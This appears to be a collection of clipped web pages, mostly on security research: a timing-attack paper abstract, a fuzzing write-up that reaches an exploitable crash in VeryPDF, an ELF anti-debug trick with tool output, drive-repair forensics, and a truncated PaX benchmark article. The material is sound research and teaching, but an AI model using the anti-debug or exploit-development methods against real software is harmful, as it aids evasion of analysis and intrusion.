Es kommt ja hin und wieder vor, dass du an einem Tag nicht so gut drauf bist, z.B. wenn du die Nacht zuvor durchgezecht hast oder ganz einfach wenn morgens der Kaffee zu schwach war. Und dann machst du auch noch einen saudummen Fehler... Welche Auswirkung hat nun ein solcher saudummer Fehler auf deine weitere berufliche Zukunft? Man kann diese Frage nicht pauschal beantworten; die Antwort hängt vielmehr von deinem aktuellen Nettogehalt ab. | Nettogehalt| Folgen des saudummen Fehlers  
---|---  
bis 1000 €| Blödes Arschloch, du bist fristlos gefeuert\!\!\!  
ab 1000 €| Knallharter Anschiss, Personalgespräch, schriftliche Abmahnung mit
Eintrag in die Personalakte.  
ab 1250 €| Knallharter Anschiss.  
ab 1500 €| Kurzer Anschiss.  
ab 2000 €| Freundliche Empfehlung, doch bitte etwas sorgfältiger zu sein.  
ab 3000 €| Deine Fehler werden geflissentlich ignoriert.  
ab 4000 €| Du machst prinzipiell keine Fehler. Diese heißen vielmehr
_unkonventionelle Problemlösungsansätze_ oder _kreativer persönlicher
Arbeitsstil._  
ab 5000 €| Dein Fehler wird ohne Widerspruch akzeptiert und sofort
dientbeflissen in die Praxis umgesetzt. Ausgebadet wird er von einem anderen
nach Punkt 1-5 dieser Liste.  
ab 10000 €| Dein Fehler wird sofort zur neuen Grundleitmaxime der Firma
ernannt. Du wirst ob deiner übermenschlichen Genialität in jeder möglichen
Weise geehrt, belobigt und ausgezeichnet; ganz nebenbei bekommst du fortan 20%
mehr Gehalt.  
<img
src='http://www.patrickwagner.de/Jokes/Job//../../Grafiken/BannerScanService.gif'
width='600' height='150' />

# Introduction to mobile reversing

**Created:**| _4/29/2010 12:28:46 PM_  
---|---  
**Updated:**| _4/29/2010 12:29:43 PM_  
**Author:**| __  
**Tags:**| _attacks reversing mobile/embedded Mac-hacking_  
  
<img src='img/Temp2_4588' />

# Cryptology ePrint Archive: Report 2011/232

**Created:**| _5/18/2011 11:00:26 AM_  
---|---  
**Updated:**| _5/18/2011 11:00:26 AM_  
**Author:**| __  
**Tags:**| _crypto_  
  

## Cryptology ePrint Archive: Report 2011/232

**Remote Timing Attacks are Still Practical**

 _Billy Bob Brumley and Nicola Tuveri_

**Abstract:** For over two decades, timing attacks have been an active area of
research within applied cryptography. These attacks exploit cryptosystem or
protocol implementations that do not run in constant time. When implementing
an elliptic curve cryptosystem that provides side-channel resistance, the
scalar multiplication routine is a critical component. In such instances, one
attractive method often suggested in the literature is Montgomery's ladder
that performs a fixed sequence of curve and field operations. This paper
describes a timing attack vulnerability in OpenSSL's ladder implementation for
curves over binary fields. We use this vulnerability to steal the private key
of a TLS server where the server authenticates with ECDSA signatures. Using
the timing of the exchanged messages, the messages themselves, and the
signatures, we mount a lattice attack that recovers the private key. Finally,
we describe and implement an effective countermeasure.

**Category / Keywords:** public-key cryptography / side-channel attacks,
timing attacks, elliptic curve cryptography, lattice attack

**Date:** received 11 May 2011

**Contact author:** bbrumley at tcs hut fi

**Available formats:** PDF | BibTeX Citation

# ehntoo/binaryninja-svd

**Created:**| _5/10/2019 8:05:48 AM_  
---|---  
**Updated:**| _5/10/2019 8:05:48 AM_  
**Author:**| __  
**Tags:**| _arm binja_  
  

  

# ehntoo/binaryninja-svd

A plugin to add memory map metadata for peripherals to binary ninja from
CMSIS-SVD files

Measure

Measure

# determinate.net : tdfsb

**Created:**| _11/6/2013 9:37:07 AM_  
---|---  
**Updated:**| _11/6/2013 9:37:07 AM_  
**Author:**| __  
**Tags:**| _awesome_  
  

# **d** eterminate.net****

TDFSB  Take a walk through your filesystem**\!**  
---  
TDFSB ist ein 3D Dateisystem Browser für GNU/Linux**.**  
Die aktuelle Version ist 0.0.10, sie läuft auch unter BeOS und FreeBSD.  
Dank an Stefan Haubenthal für die Portierung von TDFSB  nach MorphOS **\!** |  TDFSB is a '3D - Filesystem Browser' for GNU/Linux**.**  
Current version is 0**.** 0.10 \(seems to be stable\).  
This version should also run on BeOS and FreeBSD**\!**  
Thanks to Stefan Haubenthal for porting TDFSB  to MorphOS **\!**  
---|---  
Links  TDFSB at Freshmeat  
  
TDFSB at BeBits  Screenshots  
  
<img src='img/Temp2_10171.gif' />  
---  
TDFSB liest den Inhalt von Festplattenordnern und stell deren Inhalt als 3D
Welten dar**.** Machen Sie einen Spaziergang durch Ihr Dateisystem**\!** Das
Programm kann Bilder einlesen, MPEG Videos und MP3 Dateien abspielen**.**  
  
Dieses Programm erfordert hardwarebeschleunigte 3D-Grafik, sonst läuft es nur
sehr langsam**.**  
  
TDFSB ist unter der GNU GPL  veröffentlicht**.** |  TDFSB reads directory information and displays them as a 3D world, so you can take a walk through your filesystem**.** It also reads Images, MPEG and MP3 files as well as some other formats**.**  
  
To use this program you should have hardware accelerated 3d graphics**.**
Otherwise it may be very slow.  
  
TDFSB is released under the GNU GPL **.**  
---|---  
Download:  
  
tdfsb-0**.** 0**.** 10.tar.gz  \(sorry, no binary for BeOS\)  
  
  
Ältere Versionen / Older Versions:  
  
tdfsb-0**.** 0.9.tar**.** gz  
tdfsb-0.0.7.tar.gz \(contains a binary for BeOS\)  
tdfsb-0**.** 0.6.tar.gz  
tdfsb-0.0**.** 5.tar.gz  
tdfsb-0.0.4.tar**.** gz  
tdfsb-0.0.3.tar.gz  If you can't find the SDL GameLibs \(SMPEG\)  
for BeOS you may download it  
here **.**  
---  
****

# Microsoft Security Risk Detection: 0day in VeryPDF Reader \(Part 1\) > VDA
Labs

**Created:**| _5/10/2019 7:55:24 AM_  
---|---  
**Updated:**| _5/10/2019 7:55:24 AM_  
**Author:**| __  
**Tags:**| _Fuzzer cloud computing_  
  

  

# Microsoft Security Risk Detection: 0day in VeryPDF Reader \(Part 1\)

by John S | Apr 25, 2019 | Exploit Development, Fuzzing, Vulnerabilities
<img src='img/Temp2_5367.png' width='1080' height='675' />

At VDA we like to tackle many different types of security challenges – one of
them being _Application Security_ \(AppSec\). A recent project involves
working with the _Microsoft Security Risk Detection \(MSRD\)_ fuzzing
platform. In basic terms, MSRD is a security discovery platform that can be
used on many different applications. In a separate blog, we demonstrate _how
to write a fuzzing harness_. For purposes of this blog, we decided to target
some PDF reader applications – one of them being VeryPDF Reader. Our goal for
this project was to show that MSRD can easily be used to find important bugs
in software: in this case, an exploitable bug that can be used to get code
execution or escalated privileges on the machine running the application. The
hardest part of achieving this goal is finding a bug that provides you with
the correct scenario that allows for code execution. With this goal in mind,
we are going to discuss the steps taken to locate and determine if the bugs we
found are exploitable.

This blog post will have two parts. Part 1 will focus on how we went about
discovering a crash. Part 2 will focus on determining if the crash is
exploitable, and further building an exploit for Windows 10.

Action items Covered in Part 1:

  1. Picking the Target
  2. Finding Seeds
  3. Fuzzing the Target
  4. Crashes and More Crashes
  5. Analysis and Debugging

## Picking the Target

For this step, the goal is to identify an application that we can fuzz with
success. Some questions that need to be asked are: How is a bug going to be
used? Are we just going to report crashes to a dev team or create an exploit
for the bug? \(We always contact the vendor first — CVE-2019-11493 for this
exploit.\) As an example for this blog post, we picked VeryPDF Reader because
it’s not as popular as Adobe, but is used heavily in the business industry and
has a trial available, which means there is a potential that some future
clients would be using it.

One good way to learn how much a target application has been exploited is to
look at assigned CVE’s from past years. This will give you a good
determination on how much testing was done to your target application and how
easy or hard it might be to find exploitable bugs.

By visiting _VeryPDF Editor CVE’s_ and looking at the number of CVE’s
assigned, we saw only 1 from 2008. We considered this to indicate that some
good crashes, which could possibly turn into code execution were not yet
identified. Most PDF readers have many more CVE’s.

<img src='img/CVE-Details-VeryPDF-600x303.jpg' width='850' height='429' />

## Finding Seeds

Upon figuring out a good target, next we identified what file types were
supported and how VeryPDF Editor used them. VeryPDF Editor supported multiple
file types, but since the application has not been tested as heavily as Adobe
or others, we stuck with the PDF format and created seeds based on that.

To build the seeds we investigated the different PDF file types and what
VeryPDF Reader supported. It seemed JavaScript was out of the question as
there was little or no support, so we switched over to images that could be
converted to PDF’s using various online converters and other software that was
free. This allowed us to not just have the same PDF’s with the same
formatting, but all different types of formatting from different applications
that were able to create PDF documents. During this we found that VeryPDF
Editor was not able to open some converted image files when converted by
different software. This gave us hope that finding bugs in images to PDF would
provide good results. Overall our list of different PDF format types included:

  * PDF
  * Signed PDF’s
  * PDF Annotations and Comments

With the formats chosen and seeds gathered from various different ways we were
ready to start fuzzing the target application. As a side note, If you are not
able to find any examples of file types that your target application supports
try using a Google dork extension to find your seed files. This helped us find
uncommon files and formats.

Below are some examples of image files converted to PDF that were used to fuzz
VeryPDF Editor.

<img src='img/FoxitMSRD-SEEDS-Example.jpg' width='399' height='391' />

## Fuzzing the Target

Documentation for setting up a MSRD job is _publicly available on the web_.
For this blog, we are going to skip those steps. Understanding what you are
fuzzing and how the file format works is extremely important. For example,
PDF’s can be compressed and encoded using many different methods. It took time
to learn the PDF format and other details, like decoding of PDF documents and
trimming the document down to allow for a better method of finding bugs once a
crash is found.

Here we can see the job that was started with the Seed file types as mentioned
above. MSRD found 149 issues or crashes.

<img src='img/MSRD-Job-VeryPDF-600x48.jpg' width='689' height='55' />

The runtime for MSRD was 14 days. Next we will dig into the results of what
MSRD found and and start analyzing crashes.

## Crashes and More Crashes

After about a week of running MSRD against our target, we found some crashes
that looked interesting. The different PDF formats submitted have caused many
crashes once mutated. Overall, this provided some great data to start digging
into and investigating.

<img src='img/MSRD-VeryPDF-Crashes-e1556070439570-600x423.jpg' width='600'
height='423' />

At this point, we began looking for Access Violations that caused the
application to crash. Many Write and Read access violations were found.

When looking at crashes in MSRD we were able to see the call stack, what
instance caused the crash, and the log information for Windbg. This was really
helpful in determining what we were looking at and if a given crash should be
investigated further. When looking at the log information we saw what
exception was thrown and usually the call stack, depending on the particular
crash. In this example we saw a Write Access Violation, which caused the call
stack to look weird. Usually we get some symbols, but this time we were seeing
a complete overwrite of the stack. This would seemed to indicate that we found
a memory overflow in VeryPDF Editor. This can be partially determined by
looking at the logs and the call stack, but we did not know for sure until the
crash files were downloaded and manually investigated with a debugger.

<img src='img/MSRD-CallStack-Example-600x370.jpg' width='600' height='370' />

Next we looked at the Windbg log on MSRD, which showed us what commands were
run, and was helpful to determine why the crash was listed as a Write Access
Violation. Below we can see that the MSRD fuzzer hit a second chance Access
Violation, Which is not able to continue. This is great as we know we had a
good starting point.

<img src='img/MSRD-VeryPDF-Logs-WinDBG-489x600.jpg' width='489' height='600'
/>

Next we started to uncover what was causing the crash and start to do some
more digging. We download the seed that caused the crash and installed the
application on a test machine to begin further analysis.

## Analysis and Debugging

At this point we had investigated the crash and determined that an EIP
overwrite of the stack occurred. We have notified the vendor and will wait to
release any further information until the vendor has reached back out or a
reasonable amount of time passes.

This screen capture demonstrates the EIP register being overwritten with ASCII
A’s. This exploitable crash was caused by an MSRD mutated PDF document.

<img src='img/EIP-Overwrite-600x327.jpg' width='877' height='478' />

Video of working exploit for VeryPDF Editor:  

At a future time, Part 2 of this blog post will go over the crash details and
how VDA Labs was able to turn a crash found with MSRD into a 0day exploit for
Windows 10. This bug has been disclosed to the vendor and we are awaiting a
reply.

# \[ Blog.Shell-Storm.org \] | Linux process execution and the useless ELF header fields
**Created:**| _1/29/2013 11:31:43 AM_  
---|---  
**Updated:**| _1/29/2013 11:31:43 AM_  
**Author:**| __  
**Tags:**| _Linux operating system internals_  
  

# Linux process execution and the useless ELF header fields

| <img src='img/Temp2_10053.gif' height='69' /> |   
---|---|---  
|  **Home |** **Projects / Tools |** **Shellcodes |** **MicroBlog |** **Repo**

[code]

     **Title:**    Linux process execution and the useless ELF header fields.
     **Language:** English
     **Author:**   Jonathan Salwan (twitter)
     **Date:**     2013-01-29
    
    **Back** 
    
    
[/code]  
|  When we are in userland calling execve\(\), the process uses a software-
interrupt to call the syscall. You raise a software interrupt via the INT
instruction \(x86 Arch\), then the CPU consults another table: the IDT
\(Interrupt Descriptor Table\) to know which routines it needs to call.  
  
The only operand taken by the INT instruction is an index in this table. That
means when a 'int 80h' is executed, the CPU consults the IDT and executes the
function stored at the index 0x80.  
  
In the Linux word, the syscalls handler is stored at the index 0x80. Then the
handler look at the RAX content to know which syscall it'll call. To do that,
the syscalls handler uses the syscalls table ; and RAX is an index in this
table. The following diagram shows what I just said: <img
src='img/Temp2_10052.gif' /> After all this operations, the function execve is
called. Now, several steps are necessary before execution.  
  
**1 -** Prepare binprm credentials  
**2 -** Initialization binprm memory  
**3 -** Prepare binprm  
**4 -** Search which function calls for load/parse binary  
**4 -** Parse ELF header  
**5 -** Parse Program header  
**6 -** Setup MM & VMA  
**7 -** Start thread  
**8 -** Free binprm  
  
The main structure which describes the process is '**linux\_binprm** ', it's
this structure which contains all information about the process memory. The
interesting fields of the structure are described below.|

[code]

    v3.7.4/include/linux/binfmts.h
    
    14  struct **linux_binprm** {
    ..
    16  #ifdef CONFIG_MMU
    17        struct vm_area_struct *vma;
    18        unsigned long vma_pages;
    19  #else
    ..
    23        struct mm_struct *mm;
    ..
    35        struct file * file;
    36        struct cred *cred;      /* new credentials */
    39        int argc, envc;
    40        const char * filename;  /* Name of binary as seen by procps */
    41        const char * interp;    /* Name of the binary really executed. Most
    42                                   of the time same as filename, but could be
    43
    ..
    48  };
[/code]  
---  
To initialize the cred structure, the kernel calls the prepare\_exec\_creds
function, it creates a new creds structure with the creds of the calling
process.  
  
Before execution, the Kernel needs to load and to parse the binary. The
function load\_elf\_binary is called, this function checks if the ELF header
is valid, and it also sets several pointers: code, brk and stack. If you want
more information about ASLR, you can read this post . The VMAs are also set,
the following diagram represents the design of Process Memory.

<img src='img/Temp2_10051.gif' />

When the binprm struct has been fully filled the kernel can create a new
thread and executes it.

[code]

     3.7.4/fs/binfmt_elf.c load_elf_binary()
    
     945        current->mm->end_code = end_code;
     946        current->mm->start_code = start_code;
     947        current->mm->start_data = start_data;
     948        current->mm->end_data = end_data;
     949        current->mm->start_stack = bprm->p;
     ...
     984        **start_thread**(regs, elf_entry, bprm->p);
[/code]  
---  
It's quite fun because when the kernel loads the ELF binary, it doesn't use
the ElfX\_Shdr, it only needs the ElfX\_Phdr to set up the VMAs. According to
this, we can say that the following ElfX\_Ehdr's fields are kinda useless:
**e\_shoff** , **e\_shentsize** , **e\_shnum** , **e\_shstrndx**.  
  
Now we can build a very simple antidebug trick if you delete these fields.
Check that:

[code]

    $ **cat test.c**
    #include <stdio.h>
    
    int main(int ac, char *av)
    {
      printf("Works\n");
      return 0;
    }
    
    $ **./test**
    Works
    
    $ **./anti-debug-CleanSection ./test**
    [+] Binary size : 7832 octets
    --- Step 1 ---
    [+] Clean sections...
    [+] Clean section 0
    [+] Clean section 1
    [+] Clean section 2
    [+] Clean section 3
    [+] Clean section 4
    [+] Clean section 5
    [+] Clean section 6
    [+] Clean section 7
    [+] Clean section 8
    [+] Clean section 9
    [+] Clean section 10
    [+] Clean section 11
    [+] Clean section 12
    [+] Clean section 13
    [+] Clean section 14
    [+] Clean section 15
    [+] Clean section 16
    [+] Clean section 17
    [+] Clean section 18
    [+] Clean section 19
    [+] Clean section 20
    [+] Clean section 21
    [+] Clean section 22
    [+] Clean section 23
    [+] Clean section 24
    [+] Clean section 25
    [+] Clean section 26
    [+] Clean section 27
    [+] Clean section 28
    [+] Clean section 29
    [+] Clean section [DONE]
    --- Step 2 ---
    [+] Clean elf header...
    [+] Clean elf header [DONE]
    --- Step 3 ---
    [+] Writting binary...
    [+] Writting binary [DONE]
    
    $ **objdump -d ./test**
    objdump: ./test: File format not recognized
    
    $ **gdb ./test**
    [...]
    "/home/jonathan/w/test": not in executable format: File format not recognized
    gdb-peda$ r
    No executable file specified.
    Use the "file" or "exec-file" command.
    gdb-peda$ quit
    
    $ **./test**
    Works
    $
    	
[/code]  
---  
You can find the sources of 'anti-debug-CleanSection' here .

# SANS Computer Forensics, Investigation, and Response » Hard Drive Errors and
Replacements

**Created:**| _6/30/2009 5:33:04 PM_  
---|---  
**Updated:**| _6/30/2009 5:33:17 PM_  
**Author:**| __  
**Tags:**| _Forensics hardware_  
  

## Hard Drive Errors and Replacements

Posted by craigswright on June 29, 2009 – 12:41 pm

Filed under Computer Forensics

Many poor quality hard disk drives manage to get to market. This is especially
true with “bleeding edge” models. These drives often suffer failures. For the
average individual or corporation, this is problematic enough \(and worse when
a backup has not been made\). For the forensic analyst, this can be
devastating, at least if you do not know what must be done.

A common problem is a preamplifier failure. This failure will generally result
in the drive creating a **_clicking or hissing_** noise. Another cause of this
sound can come from a head stack failure. In this post I will detail some of
the issues and steps associated with the replacement of a drive head or
preamplifier.

The first thing is to access the drive internals. This will invalidate your
warranty, but when conducting a forensic examination, the ability to have the
drive replaced is of small concern. First, ensure that you have a clean work
area.

A clean room is not necessary. Dust will cause long term damage to the drive,
but this is long term. As long as the level of dust is low \(such as in a
standard computer room\), the issue will not impact the forensic process
\(contrary to popular belief\). You will require a set of Hex drivers or other
security drivers \(you can see what type is required by looking at the screws
on the top of the drive\).

Several of the screws will be covered \(see figure 1\) with the manufacturers
label. Do not force the lid off the case, but rather ensure that you have
removed all of the screws \(and the case will then come off easily\). The
drive I have used in this post has four hidden screws, some drives have more
or less. Rubbing the top of the case with your fingertips will help you locate
these.

<img src='img/Temp2_7087.jpg' width='366' height='278' alt='figure1' />

_Figure 1 - Opening the drive \(note the screw under the label\)  
_

These will not be the usual screws such as a Phillips or chisel head
screwdriver. You will require a selection of screw driver heads \(see figure
2\). These are readily available from any good electronics or tool store.

<img src='img/Temp2_7083.jpg' width='302' height='227' alt='figure2' />_Figure
2 - A selection of tools.  
_

Once you have opened the case, you will see the drive internals. Figure 3
\(below\) has the location of the preamplifier \(figure 4\) circled in yellow
and the head stack \(figure 5\) circled in green.

<img src='img/Temp2_7085.jpg' width='356' height='210' alt='figure31'
/>_Figure 3 - The open drive_

**Preamplifier**

The preamplifier is a small integrated circuit chip. This will be attached to
the head stack on a small PCB \(printer circuit board\). To remove this you
will most likely need to remove the main PCB. This may require removing the
screws on the opposite site of the drive holding the PCB on \(more generally
in older models\). This step will not be required in most cases, but this has
been removed in figure 6. The drive used in this example does not require this
step, but I find this easier as removing the small metal plates makes removing
the magnet \(and hence the head\) far easier. Like many new drives, the
platter is held in place using a strong magnet. This magnet is on the left in
figure 7 below.

**_Take Care_** : The magnets will pull towards each other and if you slip you
can damage the drive.

Ensure that you have a good sized clear and open space to place the components
\(an anti-static mat is a good idea\). Start placing the components and the
screws associated with them from the left and work towards the right. This
will ensure that you do not miss anything when you reassemble the drive.

**Note** : Do Not touch the platter and ensure that you use an anti-static
band.

<img src='img/Temp2_7088.jpg' width='210' height='157' alt='figure4' />_Figure
4 - The preamplifier chip_

Slowly extract the head stack. Take care. If you touch the platters you will
damage the data. I have a specialized vice for this these days, but it is
possible to do this without one.

I suggest that you buy 20 or 30 old drives \(these can be sourced for as
little as $5 each\). Practice on these until you can remove the head stack
without touching the platter or damaging anything. When you have done this,
you will be ready to work on a real drive.

<img src='img/Temp2_7089.jpg' width='370' height='239' alt='figure5' />_Figure
5 - The drive’s head stack_

Note in figure 5 the location of the preamplifier on the head stack \(circled
in yellow\).

Older hard drives commonly have a pinned chip. Newer drives \(such this the
example\) attach the preamplifier with either conductive adhesive to the
contact areas or less commonly by soldering this on. My fingers are far too
large and I will personally replace the entire preamp PCB rather than
resoldering a preamp. And it is also easier to just do this for a glued chip.

<img src='img/Temp2_7084.jpg' width='433' height='322' alt='figure6' />_Figure
6 - The rear PCB  
_

**Where do you get the replacement?**

Well this is simple \(at least in reasoning\). Replacement parts are best and
most easily obtained from old \(but working\) drives. Remember, we do not care
about the long term. The issue is not getting another year from the drive, but
just long enough to image the drive.

<img src='img/Temp2_7086.jpg' width='414' height='230' alt='figure7' />

_Figure 7 - the components as disassembled_

The difficulty comes when you can not locate an exact match to the drive, but
there is something to repair. In figure 8, a lifted head is displayed.

<img src='img/Temp2_7090.jpg' width='175' height='135' alt='figure8' />_Figure
8 - A lifted drive head_

**Head damage is problematic**

When a drive head has lifted or broken off, anywhere on the platter that it
has touched will lose data \(so you will need to image the drive skipping
errors\).

**What if there are no replacement drives is to be found**?

Sometimes there will not be an exact match for the damaged drive. This means
that you will not be able to replace the head unit as a whole. In this case,
similar drives can be cannibalized. I will not include a lesson on soldering
here, but this is another skill that requires practice to do well.

The best way to analyze a preamplifier is using a COM-Terminal program. This
part is simple \(as even hyperterm satisfies this\). Finding the pin-out can
be difficult \(these exist but are not always easy to find\). For instance,
iHDD.ru has several of these \(in Russian\). For instance see the link
regarding the Seagate \(BARRACUDA 7200.7 160G ST3160021A \).

You can also learn the click sequences for selected drives \(more on this in a
later post\). For instance the following preamp failures will result in the
following:

  * Western Digital: 2 loud clicks and the spindle will stop.
  * Maxtor: Continuous clicks for 30 seconds
  * Quantum: 2 loud clicks, the spindle will speed up and 4 clicks.

Find the problem and you can fix it.

The final step is to reassemble the entire drive unit and proceed to imaging.
The secret to doing this is practice. Old drives are inexpensive, all you need
is time \(oh and some basic tools\).

**More later…  
**

**Ed. Note:  
For additional training on hard drive repair and it’s role in digital
investigations, check out SANS Sec 606 with Scott Moulton.**

_Craig Wright is a Director withInformation Defense in Australia. He holds
both the GSE-Malware and GSE-Compliance certifications from GIAC. He is a
perpetual student with numerous post graduate degrees including an LLM
specializing in international commercial law and ecommerce law as well as
working on his 4th IT focused Masters degree \(Masters in System Development\)
from Charles Stuart University where he is helping to launch a Masters degree
in digital forensics. He is engaged in his second doctorate, a PhD on the
quantification of information system risk at CSU._

  *[June 29, 2009 – 12:41 pm]: 2009-06-29T12:41:31+0000

# Black Hat USA 2009

**Created:**| _3/24/2010 10:08:53 AM_  
---|---  
**Updated:**| _4/10/2010 1:31:22 PM_  
**Author:**| __  
**Tags:**| _bookmark conference-material_  
  

# ~ pjvenda / articles / linux / pax performance hit

**Created:**| _8/4/2011 6:20:32 PM_  
---|---  
**Updated:**| _8/4/2011 6:20:32 PM_  
**Author:**| __  
**Tags:**| _aslr Linux kernel awesome_  
  

## PaX performance impact

**Pedro Venda**

_Lisbon, October 20, 2005_

> This is a short article about the performance impact of the PaX memory
> protection patch for the linux kernel. PaX greatly enhances linux's security
> by disallowing common types of attacks exploiting software bugs like buffer
> overflows. The associated cost of the implemented memory protection
> mechanisms must be evaluated and quantified to help people take decisions
> and make investments.
### Index

  * **1.**Copyright, acknowledgements, updates and feedback
  * **2.**PaX features
  * **3.**Memory protection
  * **4.**Benchmarks
  * **5.**PAGEEXEC performance impact
  * **6.**IA-32 alternative: SEGMEXEC performance impact
  * **7.**Conclusion
  * **8.**Future work
  * **9.**References
  * **A.**Absolute benchmark values

### 1\. Copyright, acknowledgements, updates and feedback

  * **Copyright and license information**
_**Copyright \(C\) 2005 by Pedro Venda**_

> _I am an engineering student with professional interest in computer
> networks, distributed systems and computer security. Also I'm a linux user
> since 1998 and I've done professional system administration work._
This work is licensed under the Creative Commons Attribution-ShareAlike
License. To view a copy of this license, visit
http://creativecommons.org/licenses/by-sa/2.5/ or send a letter to Creative
Commons, 559 Nathan Abbott Way, Stanford, California 94305, USA.

  * **Document updates**
The most recent version of this document can be found on my website
http://www.pjvenda.org under the "_linux articles_ " section. It can be
browsed online or downloaded in several formats: \[dvi\] and \[pdf\]. \[not
yet available. hopefully online in a couple of days\]

**Revision History**

    * **v1.1** \- October 20, 2005 - first revision after most useful comments from the very PaX team
    * **v1.0** \- August 5, 2005 - original html version
  * **Feedback-**
Corrections, suggestions and questions are welcome. Feel free to ask questions
and point out errors or misleading information.

I can be reached at pjvenda at pjvenda org or at other e-mails listed on my
website http://www.pjvenda.org.

### 2\. PaX features

PaX \(_PAge eXecute_\) is a security patchset for the linux kernel which aims
at preventing the exploitation of memory corruption bugs which in turn could
give an attacker arbitrary privileges otherwise denied. This class of bugs
include various forms of buffer overflows \(stack or heap based\), user
supplied format string bugs, etc.  
  
PaX is a security enhancement _per-se_ , but not nearly enough to achieve an
enhanced security environment. Grsecurity patchset includes PaX and is a much
more complete approach towards a well based security enhancement for linux.  
  
The PaX patchset includes mechanisms for:

  * Disallow creation of writable/executable memory mappings by running tasks \(`NOEXEC`\) 
    * Paging based non-executable page protection \(`PAGEEXEC`\)
    * Segmentation based non-executable page protection \[IA-32 only\] \(`SEGMEXEC`\)
    * `mprotect()` restrictions \(`MPROTECT`\)
  * Decrease success rate of attacks that require advanced knowledge of memory addresses, via Adress Space Layout Randomization \(`ASLR`\) 
    * Main executable code/data/bss segment base address randomization \(`RANDEXEC`\)
    * `mmap()` and `brk()` managed memory \[libraries, heap, thread stacks, shared memory, etc\] address randomization \(`RANDMMAP`\)
    * User stack base address randomization \(`RANDUSTACK`\)
    * Kernel stack base address randomization \(`RANDKSTACK`\)
  * Userland control tools that can change PaX features per binary file

### 3\. Memory protection

The memory protection for x86 or IA-32 architecture is one of the most
important features brought by PaX. By improving memory protection, PaX is able
to dismantle some common attack exploits without being overly intrusive on the
operating system. All applications should work without changes and on
supporting architectures \(not IA-32\) without even affecting performance.
There are two methods for memory protection implemented by PaX: PAGEEXEC and
SEGMEXEC.

#### PAGEEXEC

The PAGEEXEC memory protection algorithm was an idea originally for the
virtualization freemware/plex86 project to protect memory accesses between
different running virtual operating systems, while keeping performance mostly
the same. This idea was later used by PaX due to its evident security
potential.  
  
PAGEEXEC is a process to implement page protection features using the paging
logic of IA-32 \(x86\) based CPUs. It is the least intrusive, most elegant but
most penalizing approach considering the worst case. This architecture lacks
the hardware support for non executable pages on its MMU, through a No-eXecute
bit \(a small number of recent Intel 32bit CPUs already support an NX bit, but
at the moment PaX doesn't use it\). These simpler MMUs overload one bit for
READ/EXEC permission settings, so every READable page can also be EXECutable.  
  
Fortunately, IA-32 CPUs also have split TLB \(Translation Lookaside Buffer\)
for code and data memory pages. These tables cache physical page locations and
access rights \(user/supervisor and read/exec\) obtained from \(expensive\)
page table walks. All page table entries \(PTE\) have well defined \(good or
bad\) states \(READ+EXEC is ok for code pages but bad for data pages, as the
latter aren't by definition executable\) as well as good/bad transitions
between states. Code pages are generally READ+EXEC while data pages are
READ\(and WRITE\)+NOEXEC. A userspace attempt to execute code in a data page
\(NOEXEC\) will generate a page fault exception handled by the kernel and the
PaX PAGEEXEC code and the access will be denied.  
  
PAGEEXEC sits in the memory paging subsystem, intercepting page fault handles
replacing access rights whenever a page would end up in a "bad" state.

#### SEGMEXEC

SEGMEXEC is a reimplementation of the memory protection mechanism exclusively
for the IA-32 architecture, taking advantage of the hardware segmentation
features.  
  
PaX's VMMIRROR code is the heart of SEGMEXEC: It allows coherent mapping of
the same set of physical pages in two different linear addresses on any given
task. Consistency is assured in case of swap cycles and copy-on-write
operations. In the typical case of 3 GB userland linear address range, two 1.5
GB regions are created from it and the code/data segment descriptors are setup
to cover only one or the other. Specifically, data memory is mapped in the
bottom half \(0-1.5GB in linear address range\) and executable memory is
mapped in the top half \(1.5-3GB in linear address range\). Executable code
mappings must be visible in the code segment region \(1.5-3GB in linear
address space\) and since such mappings may contain data as well, they need to
be mirrored at the same linear addresses in the data segment as well \(0-1.5GB
in linear address space\).

<img src='img/Temp2_10789.png' alt='linear mapping space' /> |  <img src='img/Temp2_10782.png' alt='SEGMEXEC chantes to the linear mapping space' />  
---|---  
Using PaX's VMMIRROR code, user data memory is mapped into the first half,
while executable memory goes into the second. Instruction fetches are
translated from the top half while data fetches come from the bottom half
maps. A non-executable memory space would be mapped in the bottom half only
while executable data would be mapped into both halves since executable data
can also be read. The VMMIRROR code allows identification of access type
through the linear address requested.

<img src='img/Temp2_10787.png' alt='memory mappings for executable data' /> |  <img src='img/Temp2_10788.png' alt='memory mappings for non-executable data' />  
---|---  
Non executable memory is only mapped in the 0-1.5GB half of the linear memory,
so instruction fetches of this data \(which are illegal\) are trivially
detected; This case's requested addresses will be translated from the top half
of the memory \(1.5-3GB\) raising a page fault, detecting an illegal execution
attempt.  
  
SEGMEXEC uses VMMIRROR to do most of the work and, like PAGEEXEC, sits in the
memory subsystem intercepting page faults to determine permission violation
attempts.

### 4\. Benchmarks

My benchmarks were done with a practical and simple situation, indicative of
relative performance impact caused by different PaX configurations. What I'm
really looking for is the impact caused by the different memory protection
implementations on IA-32 CPUs. Enhanced memory protection is one of the most
important security enhancements brought by PaX, but without hardware support
on most CPUs it comes with a performance cost.

Benchmarks were based on time measurement of a kernel tree compilation, on
idle computers. This is a reliable benchmark because it can take about one
hour to complete, and above all, it is very CPU and memory intensive. On SMP
testbench, I took advantage of both CPUs via make process parallelization
\(`make -j3`\).  
  
Configuration was explicitly generated to make compilation process take as
long as possible. This means that every kernel feature should be enabled,
hence `make allyesconfig` was used for automatic generation of full
configuration file.  
  
Sources were cleaned with `make mrproper` before starting and between
successive compilations. Every time measurement was taken from 3 different
compilations under the same conditions.  
  
Testbenches were:

**Testbench 1**

  * Intel Pentium IV 2.2 GHz
  * 2x256 MB DDR RAM \(dual channel\)
  * /usr/src on RAID1 device based on 2x40GB IDE hard drives
  * Gentoo Linux Hardened \(with USE flags `hardened` and `pic` and `-fstack-protector` in CFLAGS
  * Gentoo Hardened-v1 kernel \(**1**\) 
    * with PAGEEXEC
    * with SEGMEXEC
    * without PaX protections
  * benchmark command sequence: `make mrproper && make allyesconfig && time make`

|  **Testbench 2**

  * Dual Intel Pentium III 866 MHz
  * 1x512MB 133MHz ECC registered SDRAM
  * /usr/src on RAID5 device based on 4x80GB IDE hard drives
  * Gentoo Linux Hardened \(with USE flags `hardened` and `pic` and `-fstack-protector` in CFLAGS
  * kernel 2.6.11.7-grsec 
    * with PAGEEXEC
    * with SEGMEXEC
    * without PaX protections
  * benchmark command sequence: `make mrproper && make allyesconfig && time make -j3`

|  **Testbench 3**

  * **HP Proliant DL154**
  * Dual Opteron 248
  * 4x1GB Registered ECC RAM
  * /usr/src on RAID1 device based on 2x160GB IDE hard drives
  * Gentoo kernel 2.6.11-r13 
    * with PAGEEXEC
